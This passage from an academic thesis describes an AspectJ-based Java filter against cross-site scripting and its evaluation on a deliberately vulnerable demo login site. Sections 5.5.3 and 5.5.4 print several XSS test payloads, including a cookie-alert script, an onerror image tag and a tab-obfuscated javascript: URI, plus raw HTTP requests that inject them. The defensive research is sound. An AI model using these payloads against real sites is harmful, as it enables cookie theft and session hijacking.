Figure 5-1 – Anti-XSS Packages

The below diagram, Figure 5-2, is an exploded view of the high-level package
diagram depicted above demonstrating all the implemented application classes.
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Figure 5-2 – Anti-XSS Package Contents

5.4 Core Application Classes
The scope of this chapter section is to go through the main application classes and to
discuss in brief how they were implemented. The classes that we will discuss include
HTTPInterceptor, XSSDefender and Encode.

5.4.1 HTTPInterceptor
In Section 4.3.1 we discussed three possible techniques that can be used to implement
the HTTP request/response interceptor. The techniques were the use of filters, modules
and Aspect-Oriented Programming (AOP). The class HTTPInterceptor implements the
XSSD-Proxy component using the AOP approach. This approach was chosen amongst
other options as it provides the most modular and elegant approach to provide protection
for all the organisation’s Web applications without requiring any code modifications. In
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our current prototype implementation the limitation is that we are offering protection only
to Java powered Web applications.

Although AOP is out of the scope of this project extensive research had to be done
to understand the ideas and concepts behind such a programming paradigm.
Furthermore, the mechanics of AspectJ (an implementation of AOP for the Java
programming language) were studied in detail to understand how an aspect (a term
described later on in this section) could be created to capture the incoming/outgoing
HTTP stream. The end result is shown hereunder:
public aspect HTTPInterceptor {
private AntiXSSPolicy policy = null;
// Capture any HTTP verb
public pointcut captureHttpRequest(HttpServletRequest rq,
HttpServletResponse rs):
execution(* javax.servlet.http.HttpServlet.do*(..)) &&
args(rq, rs);
// Modify the HTTP request/response to defend against XSS
void around(HttpServletRequest rq, HttpServletResponse rs):
captureHttpRequest(rq, rs) {
// Load the Knowledge-Base
XSSDefender xssd = init();
try {
// Clone and extend the request and response objects
HTTPRequestWrapper mRq = new HTTPRequestWrapper(rq);
HTTPResponseWrapper mRs = new HTTPResponseWrapper(rs);
// Remove XSS from the request/response
xssd.validate(mRq, mRs);
proceed(mRq, mRs);
} catch (AntiXSSException antiXSSException) {
Configuration.getLogger().info("[Anti-XSS]
Exception occurred: " + antiXSSException);
}
}

To understand the above piece of code the fundamental concepts of an AOP system
must be understood. The model below, Figure 5-3, shows all the AOP players and their
relationships to each other in an AOP system. This diagram was extracted from the
book “AspectJ in Action: Practical Aspect-Oriented Programming” [108].
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Figure 5-3 – Generic AOP Model

In our case the crosscutting element we want to modularize is security and more
specifically it is XSS protection. To implement such a crosscutting concern the
understanding and application of the following concepts/constructs is necessary:


Pointcuts – Each system, irrespective of how it is developed, exposes
identifiable points during its execution. Such points (join points) may include
creation of objects, execution of objects, throwing of exception and more. In
our case as we saw in Figure 2-3 of Section 2.3.4.1, we intend to capture
the point when the request is submitted to Java Web applications.
Furthermore, we are selecting from these points (this is called pointcut) calls
that match doXXX methods, where XXX stands for the HTTP verb. All the
HTTP verbs discussed in Section 2.3.1 are supported by Java and are all
being trapped in the implemented code.



Advice – After the pointcut selects the join points, the latter must be
augmented with additional behaviour. This facility is provided through the
use of the advice construct. In our case we used an around advice to
surround the join point execution. This type of advice allows us the Web
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server to continue handling the original execution with an altered content
(modified request/response) zero or more times.


Weaving – Weaving allows for altering the static structure of a system. In
our case weaving is used to introduce the call to validate(..) function to
effectively defend any JSP code in real-time against XSS attacks. AspectJ
provides two types of weaving models based on when it performs the
weaving and which kind of input it processes. In our system we are using a
technique called Load-Time Weaving (LTW) to provide just-in-time weaving
as the classes are being loaded by the Java Virtual Machine (JVM). This
type of weaving uses the file AOP.xml the configuration of which instructs
the weaver to weave in the HTTPInterceptor.



Aspects – The end goal of AOP is to have a module that embeds
crosscutting logic. The aspect construct provides such a place by containing
all crosscutting constructs such as pointcuts and advices. In our case the
aspect is HTTPInterceptor and this is the module that provides transparent
modification to any Java powered Web server application. Technically and
as per Figure 5-3 the aspect is the component that embeds the crosscutting
element of XSS protection.

Another thing that is of particular interest in HTTPInterceptor is the reason why
HTTPRequestWrapper and HTTPResponseWrapper classes were created. The reason
was twofold. The first reason is because Java does not allow direct modification of the
original request and response objects. The second reason is that the default request and
response classes provide limited functionality in terms of methods and thus making them
quite restricted unless they are properly extended (sub-classed).

In our prototype the HTTPRequestWrapper was basically augmented with a method
replace(..) that automatically replaces a given parameter or header field value with
an XSS safe value. Then, in the case of HTTPResponseWrapper the Java
HttpServletResponseWrapper was extended to set the response content type to
“text/html” and the character encoding to “UTF-8”. Also, HTTPResponseWrapper class
makes it possible to rescan the output stream for XSS. Setting the page encoding is a
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practice that is often forgotten or not understood by software developers. The main
purpose for setting the page encoding is that of preventing various XSS encoded attacks
from

being

successfully

injected

in

the

output

stream.

However,

with

HTTPResponseWrapper the encoding is enforced.

5.4.2 XSSDefender
In Section 4.3.2 we introduced the Validation-Manager component and illustrated its
workflow in Figure 4-2. We saw that the validation routine scans both the header fields
and the parameters for XSS. Essentially, all such logic is implemented in the
XSSDefender class and is driven by the method validate(..) as shown below:
public class XSSDefender {
private AntiXSSPolicy antiXSSPolicy;
// Validate the request header and body for XSS
public void validate(HTTPRequestWrapper rq,
HTTPResponseWrapper rs) throws
AntiXSSException {
ViolationList vioLst = new ViolationList();
// Skip resources that were explicitly excluded in the policy
if (!antiXSSPolicy.exclude(rq.getRequestURI()) {
// scan the HTTP header and the parameters
checkHeader(rq, rs, vioLst);
checkParameters(rq, rs, vioLst);
// execute actions
treatViolations(rq, rs, vioLst);
}
}
}

The

key

methods

in

this

routine

are

checkHeader(..)

and

checkParameters(..). These methods scan the HTTP request header and the
HTTP message body, respectively. Both methods are structured similarly however
checkHeader(..)

instead

getParameterValues(..)

of

using

uses

the

the

getParameterNames(..)

and

getHeaderNames(..)

and

methods

getHeader(..) to read the header name and the associated values respectively. For
completeness,

hereunder

we

checkParameters(..) method.

show

part

of

the

implementation

of

5. Implementation and Evaluation

107

private void checkParameters(HTTPRequestWrapper rq,
HTTPResponseWrapper rs,
ViolationList vioLst)
throws AntiXSSException {
// Read all the HTTP parameters
String uri = rq.getRequestURI();
Enumeration param = rq.getParameterNames();
while (param.hasMoreElements()) {
name = (String) param.nextElement();
values = rq.getParameterValues(name);
/* Read the rules associated with the current parameter
This method tries to fetch the most specific rule first
*/
rule = antiXSSPolicy.getRule(uri, name);
for (int i = 0; i < values.length; i++) {
String value = values[i];
/* if canonicalization is enabled then canonicalize each
parameter value
*/
if (antiXSSPolicy.getDirectives().isCanonicalize()) {
value = ESAPI.encoder().canonicalize(value);
}
/* if a rule is violated then treat the violation
according to the severity. The isViolated(..) method
simply checks whether a given value matches its
associated parameter rule regular expression.
*/
if (rule.isViolated(value)) {
// create violation
vio = new Violation(name, value, rule.getRE(), uri);
// Severity = Fatal?
if (Severity.FATAL.equals(vio.getSeverity())) {
treatViolations(rq, rs, vio); // call rule actions
throw new AntiXSSException("Fatal violation
occurred!");
// Severity = Resume?
} else if (Severity.RESUME.equals(vio.getSeverity()){
// add the violation to the Violation-List
vioLst.add(vio);
}
}
}
}

As we discussed in Section 4.3.3 in Table 4-3 there are three main methods to
implement rules and these are through the use of a parser, XML grammar checker and
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through regular expressions. For their power and speed regular expressions were used
for validating the request parameter values against their associated rules. As we will see
in Section 5.5.4 to evaluate the implemented anti-XSS tool the regular expression ^[azA-Z0-9\s.\-]+$ is used. This expression effectively translates to the Finite-State
Machine (FSM) shown in the figure below, Figure 5-4.

Figure 5-4 – FSM for ^[a-zA-Z0-9\s.\-]+$

Essentially, the above forms the whitelist used for evaluating the prototype.
However, the implemented prototype supports the use any Java regular expression to
validate each HTTP parameter/header field. Technically, the Java regular expression
support is more expressive than both the POSIX basic (BRE) and extended (ERE)
regular expression standards.

5.4.3 Encoding
As discussed in Section 3.3.1.1 encoding is one of the fundamental strategies used to
defend against XSS attacks. In contrast to the whitelist strategy to validation, which is
mandatory in our solution encoding is only used as part of a defense-in-depth strategy.
The diagram below, Figure 5-5, illustrates the classes and the relationships between
them to implement the encoding action.
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Figure 5-5 – Encoding Action Class Diagram

Technically, the Encode class extends the abstract class Action. Such a decision
was taken so that other concrete classes such as BlackList, Redirect, Report and others
could be implemented and called in the same way that the Encode class is called, that is
via the Knowledge-Base tag “<action cls="…concrete action class…" />”.

The class Encode uses the ESAPI open-source library [109] to perform the actual
encoding. ESAPI is an excellent security library providing different encoders for HTML,
JavaScript, VBScript and more. The limitation with ESAPI is that it does not support
auto-encoding facilities, in other words it does not support context-aware HTML
encoding. For this reason the class AutoEncoder was created to handle the case when
the Knowledge-Base developer does not specify the encoding context when using the
encode action.

To implement the AutoEncoder class the author of ModSecurity, Ivan Ristic, was
contacted for information about Canoe [110]. The latter is an open-source context-aware
HTML encoder which Ivan Ristic is currently developing. The encoder was extended in
particular to make use of ESAPI encoding for its stability and documentation. A snippet
of the Encode class is shown hereunder. In a nutshell, the routine below replaces the
request parameter with its encoded equivalent.
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private void entityEncode(HttpRequestWrapper rq,
String context,
String name,
String value) {
String result = null;
if (value != null) {
switch (context) {
// HTML Encoding
case HTML:
result = ESAPI.encoder().encodeForHTML(value);
rq.replace(name, value, result);
break;
// HTML-Attribute Encoding
case HTML_ATTR:
result = ESAPI.encoder().encodeForHTMLAttribute(value);
rq.replace(name, value, result);
break;
// CSS Encoding
case CSS:
result = ESAPI.encoder().encodeForCSS(value);
rq.replace(name, value, result);
break;
// JavaScript Encoding
case JAVASCRIPT:
result = ESAPI.encoder().encodeForJavaScript(value);
rq.replace(name, value, result);
break;
// VBScript Encoding
case VBSCRIPT:
result = ESAPI.encoder().encodeForVBScript(value);
rq.replace(name, value, result);
break;
// Auto-Encoding
default:
AutoEncoder autoEncoder = new AutoEncoder(rs);
autoEncoder.writeEncoded(value);
}
}

5.5 Evaluation
This section evaluates the implemented tool by checking its effectiveness against a Web
application we implemented without any XSS protection. The functionality of the Web
site, titled “Anti-XSS Demo Application”, is discussed in Section 5.5.2. Basically, this
application features a presentation layer implemented with JSP and JavaScript/CSS
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technology, and a business layer built using Java Servlet technology. The final prototype
is packaged as a Web Application Archive (WAR) file, antixss-demo.war, deployable to
any Java Web application server/container.

In the next section we look at how the developed anti-XSS tool was installed and
configured on Apache Tomcat server. Following that the test Web application is
described in terms of design and functionality. The final two sections illustrate the XSS
attacks launched on the Web site and how after enabling the anti-XSS protection all the
test cases were successfully mitigated. Finally, this chapter is concluded by assessing
the performance of the tool in terms of response time.

5.5.1 Prototype Installation
The application distributable, antixss-1.0.0.jar, is copied to a folder that the Web server
could recognize and load during its startup. In our case since we used Tomcat 6.0 for
development and testing this file was copied to ${TOMCAT_HOME}/lib folder. The
variable ${TOMCAT_HOME} stores the location to the Tomcat home folder, which in our
case is “C:\Program Files\Apache Software Foundation\Tomcat 6.0”. Also, in the same
folder the files log4j.jar, esapi.jar and aspectjweaver.jar were copied. The libraries are
described shortly below:


log4j.jar – Apache log4j is an open-source tool developed for outputting log
statements to an application. It allows such statements to remain in production
code while giving the user the option to enable runtime logging without modifying
any of the application binary. This library is very flexible allowing output to email,
database tables, log files and various other destinations.



esapi.jar – ESAPI standing for Enterprise Security API is an open-source Web
application security toolkit developed by OWASP to provide interfaces and
implementations designed to help programmers write securer applications. In the
prototype we used its extensive toolset of encoders as discussed in Section
5.4.3.
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aspectjweaver.jar – This library is part of AspectJ distribution, which is the defacto open-source standard for AOP. It is used by the Tomcat JVM to provide
LTW as described in Section 5.4.1. AspectJ is a cross-platform aspect-oriented
extension to the Java programming language developed by the Eclipse
Foundation.

Following the above, the property file antixss.properties, which we introduced in
Section 5.2, was configured and copied to the folder ${TOMCAT_HOME}/conf. Finally,
two Java Options were added to the Tomcat JVM, and these are the paths to
aspectjweaver.jar and antixss.properties. In our case, these are set as shown below:
-javaagent:C:\Program Files\Apache Software Foundation\Tomcat
6.0\lib\aspectjweaver.jar
-Dantixss=C:\Program Files\Apache Software Foundation\Tomcat
6.0\conf\antixss.properties

The –javaagent option specifies that the file aspectjweaver.jar should be used as
the Java Virtual Machine Tool Interface (JVMTI) agent. Basically, this option is used by
AspectJ weaver to read the information found in AOP.xml and to weave the aspects
declared in there into classes as they are being loaded into the JVM.

5.5.2 Anti-XSS Test Web Site
The test application consists of a login screen, login.jsp, and a user home page,
home.jsp. The login screen presents a simple form to the user prompting him to enter his
user-id and password. Upon hitting the Submit button these credentials are submitted to
a servlet, LoginController, that checks if the presented combination is valid. If the input
combination matches a stored user-id and password pair (in our case user-id = Joseph
and password = Joseph123) the user is redirected to his home page. On the other hand,
if the combination is wrong an error/information message is displayed and the user is
prompted to reenter his credentials. The application information flow is shown below, in
Figure 5-6.
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2

LoginController

Login.jsp

Home.jsp
Figure 5-6 –Evaluation Application Structure

The user home page displays some basic information such as the current date
and time, the HTTP protocol version, the client’s IP address and other information to the
user. Most of the information in home.jsp is calculated by reading it directly from the
HTTP request without doing any validation or encoding. In particular, the “Referer” field
is read directly from the HTTP request header. Also, some information, in our case the
contents of “Rnd Number” field are read from the JEE session. However, the actual
content of the latter field comes from a hidden field value, rnd, which is being populated
automatically by login.jsp and passed to home.jsp via the HTTP POST method.

5.5.3 Anti-XSS Disabled
To illustrate the XSS coding vulnerabilities present in the Anti-XSS Test Web site the
anti-XSS protection is disabled for this part of the experiment. Disabling the protection
simply involves deleting, moving or renaming the JAR file, antixss-1.0.0.jar, to anything
else and then restarting the Tomcat server to reload its set of libraries.
Various XSS attacks were launched against the target application. Hereunder,
we describe five of the many different attacks tried and tested on the test application.
The XSS test cases were cherry-picked from Chapter 2 and Chapter 3 as they represent
the attack strings that are commonly used in the real-world to test and to evade various
real-world XSS filters. All the test cases were successfully executed on three popular
Web browsers – Microsoft Internet Explorer 9, Google Chrome 10 and Mozilla Firefox 3.
The first test case, “Test Case 1”, involves inputting the JavaScript XSS attack
string “<script>alert(document.cookie)</script>” in the Login field. As can
be seen in the screenshot below, Figure 5-7, the user cookies were outputted and
thereby this XSS attack was successful.
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Figure 5-7 – XSS Attack Example – Test Case 1

Then, the second test case, “Test Case 2”, involves injecting a VBScript scriptlet
consisting of the string “<script

language=vbscript>

MsgBox

"XSS!"

</script>” in the Password field. As can be seen in screenshot below, Figure 5-8,
this XSS attack was also successful.

Figure 5-8 – XSS Attack Example – Test Case 2
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The third test case, “Test Case 3”, involves the injection of the XSS string “<img
src=x:x onerror=alert(0)//></img>” in both the Login and the Password
fields. As can be seen below, in Figure 5-9, the XSS attack was successful.

Figure 5-9 – XSS Attack Example – Test Case 3

The fourth test case, “Test Case 4”, involves the use of WebScarab tool
(mentioned in Table 2-6) to modify the HTTP raw request in order to inject an XSS attack
in the hidden field, rnd. The attack string is “<script>alert(‘XSS’)</script>”
and it is shown in bold below:
POST http://localhost.:8080/antixss-demo/Login HTTP/1.1
Host: localhost.:8080
Proxy-Connection: keep-alive
Referer: http://localhost.:8080/antixss-demo/
Content-length: 42
Cache-Control: max-age=0
Origin: http://localhost.:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127
Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept:
application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0
.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=70F71C81FB7887F246B3469C87DD4289
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username=Joseph&password=Joseph123&rnd=<script>alert('XSS')</script>

As can be seen in the screenshot below, Figure 5-10, the XSS attack was
successful as the application displayed the injected string in home.jsp.

Figure 5-10 – XSS Attack Example – Test Case 4

Similarly to the above test case but this time round we are injecting an XSS attack
in the HTTP header field, Referer. Again, we use WebScarab to modify the raw
request

and

to

append

the

partly-encoded

string

<INPUT

TYPE="IMAGE"

SRC="jav&#x09;ascript:alert('XSS');"> to the original Referer. The attack
is shown in bold in the raw request below:
POST http://localhost.:8080/antixss-demo/Login HTTP/1.1
Host: localhost.:8080
Proxy-Connection: keep-alive
Referer: http://localhost.:8080/antixss-demo/login.jsp<INPUT
TYPE="IMAGE" SRC="jav&#x09;ascript:alert('XSS');">
Content-length: 42
Cache-Control: max-age=0
Origin: http://localhost.:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127
Safari/534.16
Content-Type: application/x-www-form-urlencoded
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Accept:
application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0
.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=70F71C81FB7887F246B3469C87DD4289
username=Joseph&password=Joseph123&rnd=564

As can be seen in the red rectangle in the screenshot below, Figure 5-11, the XSS
attack was successful as the application appended an image to the Referer caption.

Figure 5-11 – XSS Attack Example – Test Case 5

5.5.4 Anti-XSS Enabled
Having seen the XSS vulnerabilities present in the implemented Web application, in this
section we are going to investigate how with the anti-XSS tool enabled such
vulnerabilities can be patched by simply using the default configuration. This time round
we enabled protection by placing the original antixss-1.0.0.jar in ${TOMCAT_HOME}/lib
and then restarting Tomcat to reload its library base.

To evaluate the tool, the default Knowledge-Base (policy file) instance, antixsspolicy.xml, was used. The contents of this file are described below:
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<?xml version="1.0" encoding="UTF-8"?>
<antixss-policy>
<directives>
<canonicalize>true</canonicalize>
</directives>
<regexps>
<regexp>
<name>text</name>
<pattern>^[a-zA-Z0-9\s.\-]+$</pattern>
</regexp>
</regexps>
<ruleset>
<name>ANTIXSS_DEF</name>
<uri>ANTIXSS_DEF</uri>
<rule>
<name>ANTIXSS_ALL</name>
<regexp>text</regexp>
<severity>resume</severity>
<action cls="edu.rhu.antixss.actions.Encode" />
</rule>
</ruleset>
</antixss-policy>

As one can note the above file contains only the mandatory directive (çanonicalize),
one validation, one rule definition (the default rule), and one action that automatically
encodes fields/parameters that violate the default rule. This is the minimum configuration
file possible as per the grammar we defined in Section 4.3.4.1. The regular expression,
text, depicted in Figure 5-4, allows for any alphanumeric input. However, this expression
excludes in particular special characters such as “<” and “>” and thereby when such
characters are encountered the processing continues but the input strings are
canonicalized (transformed to a standard representation) and then encoded. This results
into turning any encountered malicious string into non-executable. Effectively, this
configuration file implements a two-layered XSS protection strategy, with the first layer
being

the

positive

security

model

and

the

second

layer

being

the

canonicalization/encoding layer.

Then, using Selenium open-source functional testing tool [111] we recreated the
five test cases discussed in Section 5.5.3. The below code fragment demonstrates the
Selenium code used to recreate and evaluate “Test Case 1”. Each test case adopts a
similar structure to the below.
@Test
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public void testLoginXSS1() {
try {
selenium.open("http://localhost:8080/antixss-demo");
selenium.type("name=username",
"<script>alert(document.cookie)</script>");
selenium.type("name=password", "Joseph123";
selenium.click("//input[@type='submit']");
selenium.waitForPageToLoad(SE_TIMEOUT);
assertTrue(selenium.isTextPresent("Unrecognized username
and/or password!"));
} catch (SeleniumException e) {
fail(e.getMessage());
}
}

After running all the test cases the implemented prototype demonstrated that all the
identified XSS attacks were completely removed simply by using the default
configuration and without requiring any modification to any application code. For
completeness hereunder we show the important application log entries obtained after
running each Selenium test. The entries below were extracted from the full log file,
antixss.log, as per the configuration file antixss.log4j.properties.
Test Case 1:
[Anti-XSS] VIOLATION: Parameter username with value
<script>alert(document.cookie)</script> is classified as malformed
by rule ^[a-zA-Z0-9\s.\-]+$
[Anti-XSS] Encoded [Auto] username from
<script>alert(document.cookie)</script> to
&lt;script&gt;alert&#x28;document.cookie&#x29;&lt;&#x2f;script&gt;
Test Case 2:
[Anti-XSS] VIOLATION: Parameter password with value <script
language=vbscript> MsgBox "XSS!" </script> is classified as
malformed by rule ^[a-zA-Z0-9\s.\-]+$
[Anti-XSS] Encoded [Auto] password from <script language=vbscript>
MsgBox "XSS!" </script> to &lt;script language&#x3d;vbscript&gt;
MsgBox &quot;XSS&#x21;&quot; &lt;&#x2f;script&gt;
Test Case 3:
[Anti-XSS] VIOLATION: Parameter username with value <img src=x:x
onerror=alert(0)//></img> is classified as malformed by rule ^[a-zAZ0-9\s.\-]+$
[Anti-XSS] VIOLATION: Parameter password with value <img src=x:x
onerror=alert(0)//></img> is classified as malformed by rule ^[a-zAZ0-9\s.\-]+$
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[Anti-XSS] Encoded [Auto] username from <img src=x:x
onerror=alert(0)//></img> to &lt;img src&#x3d;x&#x3a;x
onerror&#x3d;alert&#x28;0&#x29;&#x2f;&#x2f;&gt;&lt;&#x2f;img&gt;
[Anti-XSS] Encoded [Auto] password from <img src=x:x
onerror=alert(0)//></img> to &lt;img src&#x3d;x&#x3a;x
onerror&#x3d;alert&#x28;0&#x29;&#x2f;&#x2f;&gt;&lt;&#x2f;img&gt;
Test Case 4:
[Anti-XSS] VIOLATION: Parameter rnd with value
<script>alert('XSS')</script> is classified as malformed by rule
^[a-zA-Z0-9\s.\-]+$
[Anti-XSS] Encoded [Auto] rnd from <script>alert('XSS')</script> to
&lt;script&gt;alert&#x28;&#x27;XSS&#x27;&#x29;&lt;&#x2f;script&gt;
Test Case 5:
[Anti-XSS] VIOLATION: Parameter referer with value
http://localhost:8080/antixss-demo/login.jsp<INPUT TYPE="IMAGE"
SRC="jav&#x09;ascript:alert('XSS');"> is classified as malformed by
rule ^[a-zA-Z0-9\s.\-]+$
[Anti-XSS] Encoded [Auto] referer from
http://localhost:8080/antixss-demo/login.jsp<INPUT TYPE="IMAGE"
SRC="jav&#x09;ascript:alert('XSS');"> to
http&#x3a;&#x2f;&#x2f;localhost&#x3a;8080&#x2f;antixssdemo&#x2f;login.jsp&lt;INPUT TYPE&#x3d;&quot;IMAGE&quot;
SRC&#x3d;&quot;jav&amp;&#x23;x09&#x3b;ascript&#x3a;alert&#x28;&#x27;
XSS&#x27;&#x29;&#x3b;&quot;&gt;

Also, as can be seen in the figure below, Figure 5-12, the area covered by the
green rectangle demonstrates that by combining together “Test Case 4” and “Test Case
5” we can see that the application manages to successfully modify both the HTTP
header request parameter and the hidden HTTP request message body field in one go,
turning them into benign strings. If the severity level was set to FATAL the application
would immediately terminate the connection (the socket) with the client, making it
impossible for the request to reach the home page.
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Figure 5-12 – XSS Attack Example – Combining Test Case 4 and 5

Besides the test cases described in this chapter various other test cases (as
described in Appendix B) were executed. These test cases were executed through a
combination of manual, automated (by Selenium) and semi-automated (by WebScarab)
testing means. Similarly to the results we obtained in this section, no false negatives
were obtained simply by using the default configuration. However, it is worth noting the
fact that without introducing additional rules the system might be subject to false
positives. Nevertheless, the developer has complete control over how the target system
will behave to submitted input through the use of severities, rules and actions.

5.5.5 Performance Testing
One of the key criteria used by industry professionals to assess a potential security
solution is performance. With added security, in the majority of the cases, there is an
incurred performance overhead that might adversely affect the functioning and service of
the business. However, provided that the extra overhead is within the organisation’s
acceptability limit then adopting the security solution might not hinder the organisation’s
business requirements.
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The implemented prototype was tested for performance on the developed test
Web site hosted on Apache Tomcat 6.0.26 and running with Java 6. Performance was
measured in terms of response time in milliseconds under normal system usage,
meaning without involving any XSS attack, and then under abnormal system usage by
submitting XSS attack strings. The figure below, Figure 5-13, compares the system
response time when the anti-XSS tool is used to when it is not used. In the instance
below the tests only concerned the normal system usage. The data used to build this
graph is available in Appendix C.

Figure 5-13 – XSS Attack Blocked (Normal System Usage)

As can be noted from the above chart when the anti-XSS tool is disabled the
system response time stabilizes at response time slightly above 600 ms after running the
seventh sample. However, with the anti-XSS tool enabled as is expected there is a slight
performance overhead. This overhead is however fairly minor and consistent. The
average response in milliseconds under system normal usage with the anti-XSS tool
disabled is 717.2 ms and with the anti-XSS tool enabled it is 827.8 ms. Therefore, the
difference is that of 110.6 ms which is fairly low for most applications.
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The interesting results come when we execute the first four XSS test cases and
we again compare the response time when the anti-XSS tool is enabled to when it is
disabled. The diagram below, Figure 5-14, indicates clearly that when the tool is enabled
the average response time obtained after executing each of the four test cases for ten
times is always stable and is consistently under one second. On the other hand, when
the protection is disabled the Web browser takes almost double the response time of
that obtained when XSS protection is enabled. The exception occurred when running
“Test

Case

3”,

that

involved

injecting

the

string

“<img

src=x:x

onerror=alert(0)//></img>”. Without protection executing such string on IE 9
took an average of ten seconds for the browser to form a reply, however there were
instances were a reply was received after twenty-four seconds. The data used to build
Figure 5-14 is available also in Appendix C.
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Figure 5-14 – XSS Attack Blocked (Abnormal System Usage)

5.6 Summary
In this chapter we discussed how the development and evaluation of the working version
of the framework was carried out. Regarding implementation, this chapter detailed the
application structure, application package design, and core application classes of the
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developed prototype. Code snippets were also given throughout this chapter to explain
how the design proposed in the previous chapter was actually implemented.

The final part of this chapter explained the workings of the Website we created
for evaluating the anti-XSS framework prototype. This chapter section also detailed the
experiment conducted with a set of realistic XSS test cases. The results demonstrate
that using the simple (default) configuration, and without doing any code or extra
modifications, all test XSS attacks were successfully mitigated in real-time with accuracy
and performance, and without adversely affecting the functioning of the application.

Chapter 6
Conclusions
XSS vulnerabilities on the Web are being discovered and disclosed every day at an
alarming rate. While XSS attacks have long been recognized in the Web application
security field, there is no indication that the problem is ameliorating. Available
mitigations, including the emerging defense trends are not adequate and practical for
protecting an organisation’s Web resources, especially if the Web site is a third-party or
a legacy application that cannot be patched. Furthermore, some of the approaches
require effort from the user to access the site through a particular Web browser type and
version and eventually to cope with high rates of false positives.

The proposed server-side solution meets the need to reliably protect Web
applications with the perspective to improve upon the response time while addressing
the XSS attacks. The results achieved are highly encouraging and the developed
solution is found to be highly effective for transparently securing Web applications
against any command injection attacks, in particular against the threat of XSS attacks
both during coding time and operational time. The implemented prototype and its
evaluation demonstrate that the design principles and the architecture set forth to
mitigate the identified XSS protection limitations are indeed valid. The end result is a
contribution to the research and the software industry sharing the advantages described
below:
1. The solution does not need to be included in each and every page like earlier
works. The solution stays on the Web server protecting any hosted application
without requiring any changes to the existing Web applications.

2. The research work uses a hybrid security model to increase the overall detection
accuracy while minimizing the processing time. In contrast to the negative
security model, this model does not require scanning each input vector against
the list of all possible XSS attacks.

6. Conclusions

126

3. The solution provided is highly configurable and adaptable to any application.
The framework supports multiple actions per input parameter/header field
allowing for defense-in-depth without breaking existing applications.

4. The anti-XSS framework is highly modular so there is a clear demarcation of
functionality performed by each module and hence new functions can be added
with the least effort. This also makes the security application maintainable.

5. This approach is future proof and not prone to zero-day attacks since the
approach only checks for what is known to be good in the input. Even if a new
threat surfaces this approach by default stops the attack.
In the next two sections of this chapter the results and achievements of this project
will be highlighted, and following that a list of possible extensions to the developed
system will be introduced and explained.

6.1 Contributions
The research presented in this thesis makes several contributions to the domain of Web
security, specifically in the area of XSS attacks. In this work, we investigated and
discussed in detail background information regarding XSS. An in-depth analysis and
evaluation of the existing strategies and mitigations to XSS was carried out but revealed
numerous limitations especially with regards to ease of use and accuracy. Based on the
research findings, we designed a practical and extensible XSS prevention, detection and
response framework and developed a prototype tool based on this framework design.

The main contributions of this thesis are summarized below:


We defined XSS formally and used it to build a detailed profile describing the
nature, causes and characteristics of XSS.



We looked at the fundamental Web enabling technologies and discussed how
each technology could serve as a potential XSS carrier.
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We discussed real-world instances of different types of XSS attacks and we
also introduced new attack categories that could arise in the imminent future.



We illustrated the XSS attack process and applied it to the Twitter worm and
to a hypothetical ‘semi-real’ PayPal attack.



We introduced tools and techniques used by real-world attackers to evade
the current XSS protection measures.



We analyzed the technical makeup of the different XSS protection measures
and we created dimensions for analyzing current and future defense trends.



We evaluated the current, past and emerging countermeasures ranging from
academic to real-world products.



We designed a pragmatic, highly-configurable framework based on secure
coding and the grammar-based violation technique to seamlessly protect the
organisation Web resources against the threat of XSS attacks.



We developed a working version of the anti-XSS framework using AOP and
open-source Java technologies such as ESAPI and Canoe to protect
dynamic JSP sites without requiring any code modification or recompilation.



We created a test Web application and used it to evaluate the anti-XSS
prototype in terms of accuracy and performance.

6.2 Future Work
There are many aspects of this research that can be further studied and explored. The
following list shows some of the most useful additions that could be introduced in the
future:
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Learning Component – The framework could be extended by adding a new
directive, auto, that when set the framework would automatically choose the best
validations to apply based on a combination of monitored behaviour and past
system usage. This task requires the development of a learning component
possibly through the use of Artificial Intelligence (AI) and machine learning
techniques such as Bayesian networks and associated data mining techniques.
Monitoring the system usage is easy to do and is already possible through the
implemented aspect, HTTPInterceptor. However, further research needs to be
conducted especially with regards to minimizing the burden on the developer or
the system administrator to fine tune the rule acquisition and deduction phases.



Graphical Policy Editor – Maintaining the knowledgebase is easy to do,
however it could be further improved if a graphical policy editor is introduced.
Such an editor could allow for the creation, modification and deletion of
validations and rules. The figure below, Figure 6-1, illustrates how we envisage
the “Graphical Rule Editor” to be.

Anti-XSS - Graphical Rule Editor
Add

Modify

Section
Field
Action
Validation

Delete

Parameter
password
Encode
SafeText
Accept

Cancel

Figure 6-1 – Graphical Rule Editor GUI Design

As can be noted the dialog box is structured into three tabs – Add, Modify and
Delete, each action specifying whether a rule is being added, edited or deleted.
All the other components such as Section, Field, Action and Validation are
derived directly from the policy language.
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Furthermore, all the available actions can be automatically discovered by
examining the contents of the package actions through a technique called
introspection. Also, parameter fields can be automatically detected by querying
the HTML page structure as is shown in the following code snippet. The below
code snippet uses jsoup open-source project to extract all the input parameters
from our test application.
for (Element form:
Jsoup.connect(
“http://localhost:8080/antixss-demo”).get().select(“form”)) {
// select all input fields
for (Element input: form.select(“input,select,textarea”)) {
// process each parameter
}
}

Finally, another dialog box that could be introduced is a “Graphical Validation
Editor”. This editor could be designed as shown in the screenshot below, Figure
6-2. In the below screenshot we are demonstrating the creation of a dummy rule,
DummyRule, and showing its Regular Expression (RE) and its equivalent FSM
being calculated after pressing the Test button.

Anti-XSS – Graphical Validation Editor
Add

Modify

Delete

Name
RE

Test Text

DummyRule

^(?=.*).{8,15}$

Joseph123

FSM

Test

Accept

Figure 6-2 – Graphical Validation Editor GUI Design

Cancel
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Dynamic Rule Reloading Scheme – In the current version of the implemented
prototype the addition or modification of any policy section requires a restart of
the Web server. This could be easily improved by using a software scheduler or a
file system event listener that automatically triggers the anti-XSS tool upon file
modification to reload the knowledgebase. Java already features a nice package,
java.nio.file, that allows subscription to events such as file modification, file
